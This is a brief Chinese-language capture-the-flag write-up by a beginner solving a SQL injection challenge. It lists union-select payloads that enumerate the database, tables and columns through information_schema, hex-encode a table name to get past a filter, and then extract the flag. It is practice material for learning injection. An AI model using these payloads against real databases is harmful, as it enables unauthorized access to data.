这是一个简单的数据库注入题目
题目地址http://123.206.87.240:8002/chengjidan/
因为个人是个小白,看到题目毫无头绪。在网上搜到wp,参考着得以理解。
这个题目需要手动爆破数据库的 库名、表名、列名、内容。
库名
用数据库联合查询语句: id=-1’ union select 1,2,3,database()#得到数据库名字skctf_flag
表名
id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名fl4g,sc。 flag显然在fl4g中。
列名
id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#
这里需要说明,爆破列名时,如果直接使用“fl4g”,查询无果,考虑到是过滤,进行ascall转十六进制查询。得到列明字段skctf_flag。
内容
id=-1’ union select 1,2,3,skctf_flag from fl4g# 得到flag。
做这个题目,最直观的感受是对sql注入的进一步理解,之前遇到此类题目,完全没有任何思路,相信以后遇到注入题目能逐渐加深认识吧。